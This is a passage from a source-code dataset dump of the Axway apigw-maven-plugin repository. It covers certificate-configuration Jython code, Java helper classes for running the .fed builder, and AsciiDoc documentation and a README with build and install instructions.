es.getChild(cert_store, '[Certificate]dname=%s' % (es.escapeField(alias)))\n\n # Set certificate content\n cert_entity.setBinaryValue(\"content\", cert.getEncoded())\n\n # Set or remove private key\n if private_key is not None:\n cert_entity.setStringField(\"key\", es.encryptBytes(private_key.getEncoded()))\n else:\n entity_private_key = cert_entity.getStringValue(\"key\")\n if not entity_private_key:\n cert_entity.removeField(\"key\")\n \n es.updateEntity(cert_entity)\n return\n\n def __remove_certificate(self, es, alias):\n # Get certificate entity\n cert_store = es.get('/[Certificates]name=Certificate Store')\n cert_entity = es.getChild(cert_store, '[Certificate]dname=%s' % (es.escapeField(alias)))\n if cert_entity:\n es.cutEntity(cert_entity)\n return\n \n def __configure_certificates(self):\n if self.__cert_config is not None:\n # determine existing certificates\n logging.info(\"Determine existing certificates\")\n cert_infos = self.__get_certificate_infos()\n self.__cert_config.set_cert_infos(cert_infos)\n self.__cert_config.update_config_file()\n\n # apply configured certificates\n logging.info(\"Configure certificates\")\n certs = self.__cert_config.get_certificates()\n es = EntityStoreAPI.wrap(self.__fed_archive.getEntityStore(), self.__passphrase_in)\n\n cert_infos = []\n cert = None\n\n for cert_ref in certs:\n file = self.__resolve_file_path(cert_ref.get_file())\n logging.info(\"Process alias '%s' (%s): %s\" % (cert_ref.get_alias(), cert_ref.get_type(), file))\n if cert_ref.get_type() == \"crt\":\n cf = CertificateFactory.getInstance(\"X.509\")\n if os.path.isfile(file):\n fis = FileInputStream (file)\n cert = cf.generateCertificate(fis)\n self.__add_or_replace_certificate(es, cert_ref.get_alias(), cert)\n else:\n if self.__simulation_mode:\n logging.warning(\"[SIMULATION_MODE] Certificate file not found, certificate (CRT) ignored: alias=%s\" % (cert_ref.get_alias()))\n continue\n else:\n raise ValueError(\"Certificate file not found for alias '%s': %s\" % (cert_ref.get_alias(), file))\n elif cert_ref.get_type() == \"p12\":\n if os.path.isfile(file):\n key = self.__get_key_from_p12(file, cert_ref.get_password())\n cert = self.__get_cert_from_p12(file, cert_ref.get_password())\n self.__add_or_replace_certificate(es, cert_ref.get_alias(), cert, key)\n else:\n if self.__simulation_mode:\n logging.warning(\"[SIMULATION_MODE] Certificate file not found, certificate (P12) ignored: alias=%s\" % (cert_ref.get_alias()))\n continue\n else:\n raise ValueError(\"Certificate file not found for alias '%s': %s\" % (cert_ref.get_alias(), file))\n elif cert_ref.get_type() == \"empty\":\n self.__remove_certificate(es, cert_ref.get_alias())\n logging.info(\"Certificate removed: %s\" % (cert_ref.get_alias()))\n continue\n else:\n raise ValueError(\"Unsupported certificate type: %s\" % (cert_ref.get_type()))\n\n subject = cert.getSubjectDN().getName()\n not_after = cert.getNotAfter()\n\n cert_info = CertInfo(cert_ref.get_alias(), subject, not_after)\n logging.info(\"Certificate (%s) added/replaced: %s [%s] - %s\" % (cert_ref.get_type(), cert_info.get_alias(), cert_info.format_not_after(), cert_info.get_subject()))\n\n cert_infos.append(cert_info)\n\n if self.__update_cert_config:\n self.__cert_config.set_update_cert_infos(cert_infos)\n self.__cert_config.update_config_file()\n\n if self.__expiration_days >= 0:\n logging.info(\"Checking for certificate expiration within %i days.\" % (self.__expiration_days))\n has_expired = False\n for cert_info in cert_infos:\n expiration_days = cert_info.expiration_in_days()\n if self.__expiration_days > expiration_days:\n logging.error(\"Certificate '%s' expires in %i days!\" % (cert_info.get_alias(), expiration_days))\n has_expired = True\n \n if has_expired:\n raise ValueError(\"At least one certificate expires in less than %i days; check log file!\" % (self.__expiration_days))\n\n if not self.__simulation_mode:\n DeploymentArchive.updateConfiguration(self.__fed_archive, es.es)\n logging.info(\"Certificates updated.\")\n else:\n logging.info(\"[SIMULATION_MODE] Certificates simulation succeeded.\")\n return True\n\n def get_unconfigured_fields(self):\n return self.__config.get_unconfigured_fields()\n\n def write_fed(self, fed_path):\n if \"/\" not in fed_path and \"\\\\\" not in fed_path:\n fed_path = \"./\" + fed_path\n \n self.__fed_archive.writeToArchiveFile(fed_path)\n logging.info(\"Deployment archive written to '%s'\" % (fed_path))\n return\n\n def write_env(self, env_path):\n if \"/\" not in env_path and \"\\\\\" not in env_path:\n env_path = \"./\" + env_path\n env_archive = EnvironmentArchive(self.__fed_archive)\n env_archive.writeToArchiveFile(env_path)\n logging.info(\"Environment archive written to '%s'\" % (env_path))\n return\n"
},
{
"alpha_fraction": 0.6621924042701721,
"alphanum_fraction": 0.6630872488021851,
"avg_line_length": 24.988372802734375,
"blob_id": "262ca844ccc771040132a9f75a7ca7999b4462ac",
"content_id": "651d1b6c7c011cca15648b38d598cc0f7e89dc4b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2235,
"license_type": "permissive",
"max_line_length": 100,
"num_lines": 86,
"path": "/src/main/java/com/axway/maven/apigw/utils/AbstractCommandExecutor.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Objects;\n\nimport org.apache.maven.plugin.logging.Log;\n\npublic abstract class AbstractCommandExecutor {\n\n\tprivate final String name;\n\tprivate final Log log;\n\n\tpublic AbstractCommandExecutor(String name, Log log) {\n\t\tthis.name = Objects.requireNonNull(name, \"name is null\");\n\t\tthis.log = Objects.requireNonNull(log, \"log is null\");\n\t}\n\n\tprotected File getCommand() throws IOException { return null; };\n\n\tprotected String getStringCommand( List<String> parameters ) { return null; }\n\n\tprotected Log getLog() {\n\t\treturn this.log;\n\t}\n\n\n\tprotected int execute(List<String> parameters) throws IOException {\n\t\tList<String> inputParam = new ArrayList<String>();\n\n\t\tFile command = getCommand();\n\t\tif (command == null) {\n\t\t\tString stringCommand = getStringCommand(parameters);\n\t\t\tif ( stringCommand == null ) {\n\t\t\t\tthis.getLog().info(\"No command to run\");\n\t\t\t\treturn 0;\n\t\t\t} else {\n\t\t\t\tinputParam.add(stringCommand);\n\t\t\t}\n\t\t} else if (!command.canExecute()) {\n\t\t\tthrow new IOException(\"command not found or is not an executable: \" + command.getAbsolutePath());\n\t\t} else {\n\t\t\tinputParam.add(command.getAbsolutePath());\n\t\t}\n\n\t\tif (parameters != null) {\n\t\t\tinputParam.addAll(parameters);\n\t\t}\n\n\t\tif (this.log.isDebugEnabled()) {\n\t\t\tthis.log.debug(\"Exec: \" + inputParam.toString());\n\t\t}\n\n\t\tProcessBuilder pb = new ProcessBuilder(inputParam);\n\t\tpb.redirectErrorStream(true);\n\t\tthis.getLog().debug(\"My command: \" + pb.command());\n\t\tProcess process = pb.start();\n\t\tBufferedReader br = null;\n\t\ttry {\n\t\t\tbr = new BufferedReader(new InputStreamReader(process.getInputStream()));\n\t\t\tString line = null;\n\t\t\tthis.log.info(\"--- \" + this.name + \" (Start) ----------------------------\");\n\t\t\twhile ((line = br.readLine()) != null) {\n\t\t\t\tthis.log.info(line);\n\t\t\t}\n\t\t\tthis.log.info(\"--- \" + this.name + \" (End) ------------------------------\");\n\t\t} finally {\n\t\t\tbr.close();\n\t\t}\n\n\t\tint rc;\n\n\t\ttry {\n\t\t\trc = process.waitFor();\n\t\t} catch (InterruptedException e) {\n\t\t\tthis.log.error(\"Comman executor interrupted\");\n\t\t\trc = 1;\n\t\t}\n\n\t\treturn rc;\n\t}\n}\n"
},
{
"alpha_fraction": 0.6909709572792053,
"alphanum_fraction": 0.691508412361145,
"avg_line_length": 28.534391403198242,
"blob_id": "2134abaff38c5d9dbcdcafcfd14c8d0b81bce8fd",
"content_id": "422a5b2e55a552918a2dc007a7d97295e83c7570",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 5582,
"license_type": "permissive",
"max_line_length": 104,
"num_lines": 189,
"path": "/src/main/java/com/axway/maven/apigw/utils/FedBuilder.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\nimport org.apache.maven.plugin.MojoExecutionException;\n\nimport com.axway.maven.apigw.AbstractGatewayMojo;\n\npublic class FedBuilder {\n\n\tprivate final AbstractGatewayMojo mojo;\n\tprivate final File polFile;\n\tprivate final File envFile;\n\tprivate final File configFile;\n\tprivate final File infoFile;\n\n\tprivate final List<File> propertyFiles = new ArrayList<File>();\n\tprivate File certsFile = null;\n\tprivate List<File> certsBaseDirs = null;\n\n\tprivate int certExpirationDays = -1;\n\n\tprivate String passphrasePol = null;\n\tprivate String passphraseFed = null;\n\n\tprivate boolean updateCertConfigFile = false;\n\tprivate boolean verboseCfgTools = false;\n\n\tprivate File secretsFile = null;\n\tprivate File secretsKey = null;\n\n\tpublic FedBuilder(AbstractGatewayMojo mojo, File polFile, File envFile, File configFile, File infoFile)\n\t\t\tthrows MojoExecutionException {\n\t\tif (mojo == null)\n\t\t\tthrow new NullPointerException(\"mojo is null\");\n\t\tif (polFile == null)\n\t\t\tthrow new NullPointerException(\".pol file is null\");\n\t\tif (!polFile.canRead())\n\t\t\tthrow new MojoExecutionException(\".pol file not readable: \" + polFile.getPath());\n\t\tif (envFile == null)\n\t\t\tthrow new NullPointerException(\".env file is null\");\n\t\tif (!envFile.canRead())\n\t\t\tthrow new MojoExecutionException(\".env file not readable: \" + envFile.getPath());\n\t\tif (configFile == null)\n\t\t\tthrow new NullPointerException(\"config file is null\");\n\t\tif (!configFile.canRead())\n\t\t\tthrow new MojoExecutionException(\"config file not readable: \" + configFile.getPath());\n\n\t\tthis.mojo = mojo;\n\t\tthis.polFile = polFile;\n\t\tthis.envFile = envFile;\n\t\tthis.configFile = configFile;\n\t\tthis.infoFile = infoFile;\n\t}\n\n\tpublic void addPropertyFile(File propertyFile) {\n\t\tthis.propertyFiles.add(propertyFile);\n\t}\n\n\tpublic void addPropertyFiles(List<File> propertyFiles) {\n\t\tthis.propertyFiles.addAll(propertyFiles);\n\t}\n\n\tpublic void setCertificatesFile(File certsFile) {\n\t\tthis.certsFile = certsFile;\n\t}\n\n\tpublic void setCertificatesBasePath(List<File> baseDirs) {\n\t\tthis.certsBaseDirs = baseDirs;\n\t}\n\n\tpublic void setCertificateExpirationDays(int days) {\n\t\tthis.certExpirationDays = days;\n\t}\n\n\tpublic void enableVerboseMode(boolean enabled) {\n\t\tthis.verboseCfgTools = enabled;\n\t}\n\n\tpublic void enableCertificateConfigFileUpdate(boolean enabled) {\n\t\tthis.updateCertConfigFile = enabled;\n\t}\n\n\tpublic void setPassphrasePol(String passphrase) {\n\t\tthis.passphrasePol = passphrase;\n\t}\n\n\tpublic void setPassphraseFed(String passphrase) {\n\t\tthis.passphraseFed = passphrase;\n\t}\n\n\tpublic void setSecrets(File secretsFile, File key) throws MojoExecutionException {\n\t\tif (secretsFile != null && key == null)\n\t\t\tthrow new MojoExecutionException(\"No key file for secrets is specified!\");\n\t\tthis.secretsFile = secretsFile;\n\t\tthis.secretsKey = key;\n\t}\n\n\tpublic int execute(File targetFed, Map<String, String> props) throws MojoExecutionException {\n\t\tFile outFedFile = targetFed;\n\n\t\ttry {\n\t\t\tJythonExecutor jython = new JythonExecutor(mojo.getHomeAxwayGateway(), mojo.getLog(),\n\t\t\t\t\tnew File(mojo.getTargetDir(), \"temp-scripts\"));\n\n\t\t\tArrayList<String> args = new ArrayList<>();\n\n\t\t\targs.add(\"--pol\");\n\t\t\targs.add(this.polFile.getPath());\n\t\t\targs.add(\"--env\");\n\t\t\targs.add(this.envFile.getPath());\n\t\t\targs.add(\"--config\");\n\t\t\targs.add(configFile.getPath());\n\t\t\tfor (File propertyFile : this.propertyFiles) {\n\t\t\t\targs.add(\"--prop\");\n\t\t\t\targs.add(propertyFile.getPath());\n\t\t\t}\n\t\t\tif (this.certsFile != null) {\n\t\t\t\targs.add(\"--cert\");\n\t\t\t\targs.add(this.certsFile.getPath());\n\n\t\t\t\tif (this.certExpirationDays >= 0) {\n\t\t\t\t\targs.add(\"--cert-expiration=\" + this.certExpirationDays);\n\t\t\t\t}\n\n\t\t\t\tif (this.updateCertConfigFile) {\n\t\t\t\t\targs.add(\"--cert-config-update\");\n\t\t\t\t}\n\t\t\t\tif (this.certsBaseDirs != null) {\n\t\t\t\t\tfor (File bd : this.certsBaseDirs) {\n\t\t\t\t\t\targs.add(\"--base-dir\");\n\t\t\t\t\t\targs.add(bd.getAbsolutePath());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (this.secretsFile != null) {\n\t\t\t\targs.add(\"--secrets-file\");\n\t\t\t\targs.add(this.secretsFile.getPath());\n\t\t\t\targs.add(\"--secrets-key\");\n\t\t\t\targs.add(this.secretsKey.getPath());\n\t\t\t}\n\t\t\targs.add(\"--output-fed\");\n\t\t\targs.add(outFedFile.getPath());\n\n\t\t\tif (this.passphrasePol != null && !this.passphrasePol.isEmpty()) {\n\t\t\t\targs.add(\"--passphrase-in=\" + this.passphrasePol);\n\t\t\t}\n\t\t\tif (this.passphraseFed != null && !this.passphraseFed.isEmpty()) {\n\t\t\t\targs.add(\"--passphrase-out=\" + this.passphraseFed);\n\t\t\t}\n\n\t\t\tif (this.verboseCfgTools) {\n\t\t\t\targs.add(\"--verbose\");\n\t\t\t}\n\n\t\t\targs.add(\"-D\");\n\t\t\targs.add(\"_system.artifact.group:\" + mojo.getProject().getArtifact().getGroupId());\n\t\t\targs.add(\"-D\");\n\t\t\targs.add(\"_system.artifact.name:\" + mojo.getProject().getArtifact().getArtifactId());\n\t\t\targs.add(\"-D\");\n\t\t\targs.add(\"_system.artifact.ver:\" + mojo.getProject().getArtifact().getVersion());\n\t\t\targs.add(\"-D\");\n\t\t\targs.add(\"_system.artifact.id:\" + mojo.getProject().getArtifact().getId());\n\n\t\t\tif (this.infoFile != null && this.infoFile.canRead()) {\n\t\t\t\targs.add(\"-F\");\n\t\t\t\targs.add(\"_system.artifact.info:\" + this.infoFile.getPath());\n\t\t\t} else {\n\t\t\t\targs.add(\"-D\");\n\t\t\t\targs.add(\"_system.artifact.info:{}\");\n\t\t\t}\n\n\t\t\tif (props != null) {\n\t\t\t\tfor (Entry<String, String> entry : props.entrySet()) {\n\t\t\t\t\targs.add(\"-D\");\n\t\t\t\t\targs.add(entry.getKey() + \":\" + entry.getValue());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn jython.execute(\"buildfed.py\", args.toArray(new String[0]));\n\t\t} catch (JythonExecutorException e) {\n\t\t\tthrow new MojoExecutionException(\"Error on executing .fed builder\", e);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.6936208605766296,
"alphanum_fraction": 0.6936208605766296,
"avg_line_length": 19.236364364624023,
"blob_id": "a352b1725b37b9b49c058e4cfc7f27f73f9bb8e0",
"content_id": "f28164d0b0e4be5e7710a41bde93513f14c2e01b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1113,
"license_type": "permissive",
"max_line_length": 73,
"num_lines": 55,
"path": "/src/main/java/com/axway/maven/apigw/PackageType.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport java.util.Objects;\n\n/**\n * Package types supported by the plugin.\n * \n * @author look\n */\npublic enum PackageType {\n\n\t/**\n\t * Project contains an API Gateway / Manager archive.\n\t */\n\tSERVER(\"axway-server-archive\", \".axsar\"),\n\t\n\t/**\n\t * Projects contains a common policy archive.\n\t */\n\tPOLICY(\"axway-policy-archive\", \".axpar\"),\n\t\n\t/**\n\t * Projects contains an API Gateway / Manager deployment archive.\n\t */\n\tDEPLOYMENT(\"axway-deployment-archive\", \".axdar\");\n\n\tprivate final String type;\n\tprivate final String extension;\n\n\tpublic static PackageType fromType(String type) {\n\t\tfor (PackageType p : PackageType.values()) {\n\t\t\tif (p.getType().equals(type))\n\t\t\t\treturn p;\n\t\t}\n\t\tthrow new IllegalArgumentException(\"Unsuppored package type: \" + type);\n\t}\n\n\tprivate PackageType(String type, String extension) {\n\t\tthis.type = Objects.requireNonNull(type);\n\t\tthis.extension = Objects.requireNonNull(extension);\n\t}\n\n\tpublic String getType() {\n\t\treturn this.type;\n\t}\n\n\tpublic String getExtension() {\n\t\treturn this.extension;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn type;\n\t}\n}\n"
},
{
"alpha_fraction": 0.7413793206214905,
"alphanum_fraction": 0.7413793206214905,
"avg_line_length": 20.3157901763916,
"blob_id": "7988af69239c6d40bc650a16f83f1511ab3a888d",
"content_id": "923944bfcebeba24842833f726a1805df1c8ac0a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 406,
"license_type": "permissive",
"max_line_length": 84,
"num_lines": 19,
"path": "/doc/manual/_best-practices.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Best Practices\n:Author: Martin Look\n:Email: [email protected]\n:source-highlighter: prettify\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\nThis section provides some best practices when developing projects using the plugin.\n\n== Source Code\n\n=== Naming Conventions\n\n"
},
{
"alpha_fraction": 0.7724211812019348,
"alphanum_fraction": 0.7737985849380493,
"avg_line_length": 37.662723541259766,
"blob_id": "19e9bf3b7cf808b5d408dd6a03568b17e2c9761f",
"content_id": "82b590a03545398846a59262808cd05d88f1aea7",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 6534,
"license_type": "permissive",
"max_line_length": 224,
"num_lines": 169,
"path": "/README.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Maven Plugin for API Gateway Policy Development\n:Author: Martin Look\n:Email: [email protected]\n:toc:\nifndef::env-github[:icons: font]\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n:mvn-plugin-ver: 1.2.0.1\n\nimage:https://img.shields.io/github/license/Axway-API-Management-Plus/apigw-maven-plugin?style=plastic[]\nimage:https://img.shields.io/github/v/release/Axway-API-Management-Plus/apigw-maven-plugin?style=plastic[]\n\n\n== Start with Why\n\nWorking as a team on policy development has some challenges.\nEven if _PolicyStudio_ supports team development it requires manual effort to manage dependencies and to keep the sources in sync.\nUsing shared policies is done by including source code folders.\nBut there is no defined way of how to locate the folders and how to version the source code (especially if they are located in separate SCM repositories).\nThis also makes it difficult to share policies between different teams or within a community.\n\nEnvironmentalization is used to develop policies or gateways, independent of the target environment.\nThe configuration is done with _ConfigurationStudio_ as a separate step.\nBut, as it is a GUI based application, detecting unconfigured fields is a manual and error prone process.\nConfiguration issues are detected at runtime and not at build time.\n\nThe goal of this project is to make the life of a policy developer and gateway administrator easier by extending the power of https://maven.apache.org[Apache Maven] with a plugin for https://www.axway.com[Axway] API Gateway.\n\nThe vision of the project is also to support a \"marketplace\" (Maven repository) of shared policies.\nShared policies can be used by other projects just by adding the dependency to the project description.\nEverything else is handled by the plugin.\n\n[NOTE]\n====\nThe plugin focuses on policy development and API Gateway configuration.\nPromotion of APIs, as in the context of API Management, is not in scope of this project.\nIf you are looking for automatic API promotion, please checkout https://github.com/Axway-API-Management-Plus/apim-cli[APIM CLI].\n====\n\n== Principles and Goals\n\n . The truth is in the source code management (SCM).\n . Every development starts at the source code of the SCM.\n . The outcome of a project is a versioned artifact.\n . An artifact contains all required resources.\n . Versioned artifacts are immutable (except SNAPSHOT versions).\n . Dependencies between artifacts are managed by Maven `pom.xml` files.\n . Artifacts are stored in Maven repositories.\n . Support automatic build and configuration (DevOps support).\n . Configuration issues shall be detected at build time.\n . Easy team development without copy & paste or fragment import.\n\n== Project Types\n\nThe plugin supports three kind of API Gateway projects:\n\n[cols=\"1,<2a,3\", options=\"header\"]\n|===\n|Project Type\n|Generated Artifact\n|Description\n\n|Policy Project\n|Policy Archive\n\n * policy directory (as generated by PolicyStudio)\n * static files\n|Shared and reusable policies. No sever settings are included in the project. Policy projects may depend on other policy projects or external libraries (JARs).\n\n|Server Project\n|Server Archive\n\n * .pol file\n * .env file\n * static files\n * external libraries (JARs)\n|Policies including server settings. Server projects may depend on other policy projects or external libraries (JARs). Server projects are environment independent.\n\n|Deployment Project\n|Deployment Archive\n\n * .fed file (environment specific)\n * static files\n * external libraries (JARs)\n|Configures the environment independent server projects for a specific environment or group. A deployment project depends on exactly one server project.\n|===\n\n== Features\n * Manage dependencies via Maven pom.xml\n * Initialize policy and server projects with default factory templates.\n * Start PolicyStudio via Maven goal\n ** Project dependencies of PolicyStudio are configured from pom.xml file.\n ** \"Recent Projects\" of PolicyStudio is initialized to open current project.\n ** Each project has a separate PolicyStudio configuration (running multiple PolicyStudio instances is supported).\n * Configure environmentalized fields via JSON configuration.\n * Support of separate property file for credentials.\n * Check for unconfigured environmentalize fields (build fails in case of unconfigured fields).\n * Add or replace certificates by alias via JSON configuration.\n * Check of certificate expiration.\n * Deploy projects to gateway via plugin.\n\n== Installation\n\n=== Build & Install\n\n[source,shell]\n----\ngit clone https://github.com/Axway-API-Management-Plus/apigw-maven-plugin.git\ncd apigw-maven-plugin\nmvn clean install\n----\n\n=== Download & Install\n\nTo download and install the plugin you could use the following script:\n\n.install-apigw-maven-plugin.sh\n[source,shell,subs=\"verbatim,attributes\"]\n----\n#!/bin/bash\nset -euo pipefail\n\nAPIGW_MVN_PLUGIN_VER={mvn-plugin-ver}\n\nAPIGW_MVN_PLUGIN=\"apigw-maven-plugin-$\\{APIGW_MVN_PLUGIN_VER}\"\nAPIGW_MVN_PLUGIN_JAR=\"$\\{APIGW_MVN_PLUGIN}.jar\"\nAPIGW_MVN_PLUGIN_POM=\"$\\{APIGW_MVN_PLUGIN}.pom\"\n\nGITHUB_RELEASES=\"https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/releases/download/v${APIGW_MVN_PLUGIN_VER}\"\n\n# Download artifacts\nwget -nv \"$\\{GITHUB_RELEASES}/$\\{APIGW_MVN_PLUGIN_JAR}\" -O \"${APIGW_MVN_PLUGIN_JAR}\"\nwget -nv \"$\\{GITHUB_RELEASES}/$\\{APIGW_MVN_PLUGIN_POM}\" -O \"${APIGW_MVN_PLUGIN_POM}\"\n\n# Install plugin\nmvn install:install-file -Dfile=\"$\\{APIGW_MVN_PLUGIN_JAR}\" -DpomFile=\"$\\{APIGW_MVN_PLUGIN_POM}\"\n----\n\n== More to Read\n\n * link:doc/getting-started/getting-started.adoc[Getting Started]\n * link:doc/manual/user-guide.adoc[User Guide]\n * link:doc/manual/_faq.adoc[FAQ]\n * link:example/config-tool/README.adoc[Example for using standalone configuration tool]\n\n\n== Known Limitations\n\n * Documentation is not complete.\n * Automatic adding of dependent JARs to PolicyStudio is currently not supported (on the road map).\n * Environmentalized fields containing references are not supported.\n * Unconfigured envSettings are not detected.\n\n\n== Contributing\nPlease read https://github.com/Axway-API-Management-Plus/Common/blob/master/Contributing.md[Contributing] for details on our code of conduct, and the process for submitting pull requests to us.\n\n== Team\nimage:https://raw.githubusercontent.com/Axway-API-Management-Plus/Common/master/img/AxwayLogoSmall.png[Axway Logo] Axway Team\n\n== License\nlink:./LICENSE[Apache License 2.0]\n"
},
{
"alpha_fraction": 0.875,
"alphanum_fraction": 0.875,
"avg_line_length": 48,
"blob_id": "b6aa751a21cdfd2b58d13c33362f22e7bc19e414",
"content_id": "f59e36e05e14576418456f5befc878e05bdccf12",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 48,
"license_type": "permissive",
"max_line_length": 48,
"num_lines": 1,
"path": "/example/config-tool/config/description.txt",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "Service for demonstration of configuration tool."
},
{
"alpha_fraction": 0.6504747867584229,
"alphanum_fraction": 0.6620699763298035,
"avg_line_length": 34.40033721923828,
"blob_id": "e4348a56fe6fc2866f960611bc7d9593e4eca386",
"content_id": "cadc6b4db2387d905e471a45e72cad6d36165a4a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 20957,
"license_type": "permissive",
"max_line_length": 156,
"num_lines": 592,
"path": "/doc/manual/_config-tool.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Configuration Tool\n:Author: Martin Look\n:Email: [email protected]\n:source-highlighter: prettify\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\nFor the configuration of the `.fed` and `.env` files the Maven plugin uses Python scripts.\nThe scripts can also be used as a standalone tool.\n\n== Build FED\n\nThe FED builder takes the `.pol` and `.env` archive and JSON files to configure the environmentalized fields and certificates of the project.\nThe script is invoked with the `jython` interpreter provided with the package and deployment tools of the API Gateway.\n\n....\n$ buildfed.sh --help\nUsage: buildfed.py OPTIONS\n\nOptions:\n --version show program's version number and exit\n -h, --help show this help message and exit\n -v, --verbose Enable verbose messages [optional]\n -e FILEPATH, --env=FILEPATH\n Path of environment archive (.env)\n -p FILEPATH, --pol=FILEPATH\n Path of policy archive (.pol)\n -c FILEPATH, --config=FILEPATH\n Path of JSON configuration file\n --prop=FILEPATH Path of JSON property file [multiple]\n --cert=FILEPATH Path of JSON certificate configuration file [optional]\n --cert-expiration=DAYS\n Check if certificates expire within the next days\n [optional]\n --cert-config-update Enable writing of info section for 'update'\n certificates within the configuration file [optional]\n --output-fed=FILEPATH\n Path of output deployment archive file (.fed)\n [optional]\n --output-env=FILEPATH\n Path of output environment archive file (.env)\n [optional]\n -D NAME:VALUE, --define=NAME:VALUE\n Define a command line property [multiple]\n -F NAME:FILE, --fromFile=NAME:FILE\n Define a command line property from file content [multiple]\n --passphrase-in=PASSPHRASE\n Passphrase of input archive files [optional]\n --passphrase-out=PASSPHRASE\n Passphrase for output archive files [optional]\n -s, --simulate Enable simulation mode [optional]\n -b DIRECTORY, --base-dir=DIRECTORY\n Base directory for certificate files [multiple]\n --secrets-file=FILEPATH\n Path of JSON file containing confidential properties\n [optional]\n --secrets-key=FILEPATH\n Path to key file to decrypt confidential properties [optional]\n....\n\nIf environmentalized fields or certificates are not configured, the build fails.\nMissing fields or certificates are automatically added to the configuration file.\n\n[cols=\"2,5a\", options=\"header\"]\n|===\n|Option\n|Description\n\n|-e, --env\n|The `.env` file as generated by the `projpack` tool.\nThe option is mandatory.\n\n|-p, --pol\n|The `.pol` file as generated by the `projpack` tool.\nThe option is mandatory.\n\n|-c, --config\n|The JSON configuration file for environmentalized fields.\nThe option is mandatory.\n\n|--prop\n|Path to a JSON file containing the property configuration.\nMultiple files are supported by specifying the parameter multiple times.\n\nIf a property occurs in multiple files the value from the last file is used.\n\nSpecify a single dash '-' as filename to read properties from `stdin`.\nThe input must be a flat key/value JSON document (e.g., `{\"p1\": \"v1\", \"p2\": \"v2\"}`).\n\n|--cert\n|An optional JSON file containing the certificate configuration.\n\n|--cert-expiration\n|Optional number of days for certificate expiration check.\n\nIf at least one certificate expires with the next given days an error will be raised.\n\n|--cert-config-update\n|Enable writing of info section for 'update' certificates within the configuration file.\n\nSince version v0.7.0 the info section of \"update\" certificates are not written any more.\nUse this to enable the previous behavior.\n\n|--output-fed\n|The path of the configured `.fed` file.\nIf missing, no `.fed` file is generated.\n\n|--output-env\n|The path of the configured `.env` file.\nIf missing, no `.env` file is generated. \n\n|--define\n|Define a command line property `name:value`.\nCommand line properties can be used instead of custom defined properties.\nMultiple properties are supported by specifying the parameter multiple times.\n\n|--fromFile\n|Define a command line property from file content `name:file`.\nThe file has to contain an UTF-8 encoded text.\nThe content of the file will be placed into the defined property.\nMultiple files are supported by specifying the parameter multiple times.\n\n|--passphrase-in\n|Passphrase for source archives.\nThis passphrase is used for reading the `.pol` and `.env` files.\n\nFor all source archives the same passphrase is used.\nHaving different passphrases for `.pol` and `.env` file is not supported.\n\n|--passphrase-out\n|Passphrase for output archives.\nThis passphrase is used on writing the configured archives.\nIf not set the output archives have the same passphrase as the source archives.\n\n|-s, --simulation\n|Enable simulation mode.\n\nIn simulation mode, no output files (`.fed` or `.env`) will be written.\n\nThe simulation mode will ignore non existing certificate files and will not apply the values of environmentalized fields.\n\n[NOTE]\n====\nThe simulation mode can be used to prepare packages for CI/CD pipelines.\n\nIn this case configuration parameters and certificates may be stored in a configuration database.\nSo during the preparation phase the certificates may not be available and the configuration files may contain placeholders.\nTo avoid errors due to incompatible types (e.g. placeholder string used for an integer field) the values will not be applied to the entity store.\n====\n\n|-b, --base-dir\n|Base directory for certificate files.\n\nMultiple directories can be specified by adding the parameter multiple times.\n\nIf specified, the given directories are scanned for certificate files.\nIf multiple certificate files exists the first one will be used.\n\n|--secrets-file\n|Path of JSON file containing confidential properties.\nThe file has to be created by the `encrypt` tool.\n\n|--secrets-key\n|Path to key file to decrypt confidential properties.\n\nThe key file has to be the same as on creating the secrets file.\n\nThis parameter is required if a secrets file is specified.\n|===\n\n\n== Encrypt 